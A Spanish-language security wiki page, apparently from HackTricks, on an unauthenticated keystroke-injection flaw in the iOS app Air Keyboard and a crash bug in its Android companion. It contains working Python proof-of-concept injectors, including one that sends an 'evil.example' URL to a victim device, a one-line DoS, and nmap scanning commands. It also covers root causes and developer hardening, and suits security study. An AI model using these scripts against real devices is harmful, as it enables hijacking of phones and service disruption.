Air Keyboard Remote Input Injection (Escucha TCP / WebSocket no autenticada)

Reading time: 7 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

TL;DR

La versión iOS de la aplicación comercial “Air Keyboard” (ID de App Store 6463187929) expone un servicio de red local que acepta tramas de pulsaciones de teclas sin ninguna autenticación o verificación de origen. Dependiendo de la versión instalada, el servicio es:

  • ≤ 1.0.4 – escucha TCP en el puerto 8888 que espera un encabezado de longitud de 2 bytes seguido de un device-id y la carga útil ASCII.
  • ≥ 1.0.5 (junio de 2025) – escucha WebSocket en el mismo puerto (8888) que analiza claves JSON como {"type":1,"text":"…"}.

Cualquier dispositivo en la misma red Wi-Fi / subred puede inyectar entrada de teclado arbitraria en el teléfono de la víctima, logrando un secuestro completo de la interacción remota. Una versión complementaria para Android escucha en el puerto 55535. Realiza un apretón de manos débil AES-ECB, pero los datos basura elaborados aún causan una excepción no controlada dentro de OpenSSL, haciendo que el servicio en segundo plano se bloquee (DoS).

La vulnerabilidad está todavía sin parchear al momento de escribir (julio de 2025) y la aplicación sigue disponible en la App Store.


1. Descubrimiento de Servicio

Escanea la red local y busca los dos puertos fijos utilizados por las aplicaciones:

bash
# iOS (unauthenticated input-injection)
nmap -p 8888 --open 192.168.1.0/24

# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24

En dispositivos Android, puedes identificar el paquete responsable localmente:

bash
adb shell netstat -tulpn | grep 55535      # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline                 # map PID → package name

En iOS con jailbreak puedes hacer algo similar con lsof -i -nP | grep LISTEN | grep 8888.


2. Detalles del Protocolo (iOS)

2.1 Legado (≤ 1.0.4) – marcos binarios personalizados

[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]

La longitud declarada incluye el byte device_id pero no el encabezado de dos bytes en sí.

2.2 Actual (≥ 1.0.5) – JSON sobre WebSocket

La versión 1.0.5 se migró silenciosamente a WebSockets manteniendo el número de puerto sin cambios. Un golpe de tecla mínimo se ve así:

json
{
"type": 1,              // 1 = insert text, 2 = special key
"text": "open -a Calculator\n",
"mode": 0,
"shiftKey": false,
"selectionStart": 0,
"selectionEnd": 0
}

No se requiere handshake, token o firma: el primer objeto JSON ya activa el evento de la interfaz de usuario.


3. Explotación PoC

3.1 Objetivo ≤ 1.0.4 (TCP sin procesar)

python
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
import socket, sys

target_ip  = sys.argv[1]                 # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n"    # payload visible to the user

frame  = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01"                        # device_id = 1 (hard-coded)
frame += keystrokes

with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("[+] Injected", keystrokes)

3.2 Apuntando ≥ 1.0.5 (WebSocket)

python
#!/usr/bin/env python3
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
import json, sys, websocket  # `pip install websocket-client`

target_ip = sys.argv[1]
ws        = websocket.create_connection(f"ws://{target_ip}:8888")
ws.send(json.dumps({
"type": 1,
"text": "https://evil.example\n",
"mode": 0,
"shiftKey": False,
"selectionStart": 0,
"selectionEnd": 0
}))
ws.close()
print("[+] URL opened on target browser")

Cualquier ASCII imprimible — incluidos los saltos de línea, tabulaciones y la mayoría de las teclas especiales — puede ser enviado, dando al atacante el mismo poder que la entrada física del usuario: lanzar aplicaciones, enviar mensajes instantáneos, abrir URLs maliciosas, alternar configuraciones, etc.


4. Android Companion – Denial-of-Service

El puerto de Android (55535) espera una contraseña de 4 caracteres encriptada con una clave AES-128-ECB codificada seguida de un nonce aleatorio. Los errores de análisis se propagan a AES_decrypt() y no se capturan, terminando el hilo del listener. Por lo tanto, un solo paquete malformado es suficiente para mantener desconectados a los usuarios legítimos hasta que el proceso se reinicie.

python
import socket
socket.create_connection((victim, 55535)).send(b"A"*32)  # minimal DoS

5. Aplicaciones Relacionadas – Un Anti-Patrón Recurrente

Air Keyboard no es un caso aislado. Otras utilidades móviles de “teclado/rato remoto” han sido lanzadas con la misma falla:

  • Telepad ≤ 1.0.7 – CVE-2022-45477/78 permiten la ejecución de comandos no autenticados y el registro de teclas en texto plano.
  • PC Keyboard ≤ 30 – CVE-2022-45479/80 RCE no autenticado y espionaje de tráfico.
  • Lazy Mouse ≤ 2.0.1 – CVE-2022-45481/82/83 sin contraseña por defecto, fuerza bruta de PIN débil y fuga de texto claro.

Estos casos destacan un descuido sistémico de superficies de ataque expuestas en red en aplicaciones móviles.


6. Causas Raíz

  1. Sin verificaciones de origen / integridad en los marcos entrantes (iOS).
  2. Uso indebido criptográfico (clave estática, ECB, falta de validación de longitud) y falta de manejo de excepciones (Android).
  3. Derecho de red local otorgado por el usuario ≠ seguridad – iOS solicita consentimiento en tiempo de ejecución para tráfico LAN, pero no sustituye la autenticación adecuada.

7. Medidas de Fortalecimiento y Defensa

Recomendaciones para desarrolladores:

  • Vincular el listener a 127.0.0.1 y tunelizar sobre mTLS o Noise XX si se necesita control remoto.
  • Derivar secretos por dispositivo durante la incorporación (por ejemplo, código QR o PIN de emparejamiento) y hacer cumplir la autenticación mutua antes de procesar la entrada.
  • Adoptar Apple Network Framework con NWListener + TLS en lugar de sockets en bruto.
  • Implementar verificaciones de cordura de prefijo de longitud y manejo de excepciones estructurado al descifrar o decodificar marcos.

Ganancias rápidas para Blue-/Red-Team:

  • Caza de red: sudo nmap -n -p 8888,55535 --open 192.168.0.0/16 o filtro de Wireshark tcp.port == 8888.
  • Inspección en tiempo de ejecución: Script de Frida que engancha socket()/NWConnection para listar listeners inesperados.
  • Informe de Privacidad de la App de iOS (Configuración ▸ Privacidad y Seguridad ▸ Informe de Privacidad de la App) destaca aplicaciones que contactan direcciones LAN – útil para detectar servicios no autorizados.
  • EDRs móviles pueden agregar reglas simples de Yara-L para las claves JSON "selectionStart", "selectionEnd" dentro de cargas TCP en texto claro en el puerto 8888.

Hoja de Trucos de Detección (Pentesters)

bash
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
| awk '/Ports/{print $2 "  " $4}'

# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
echo -n \"$p → \"; cat /proc/$p/cmdline; done"

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks